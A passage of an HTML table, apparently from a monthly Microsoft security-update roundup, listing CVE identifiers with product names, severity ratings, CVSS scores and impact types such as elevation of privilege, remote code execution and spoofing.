  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
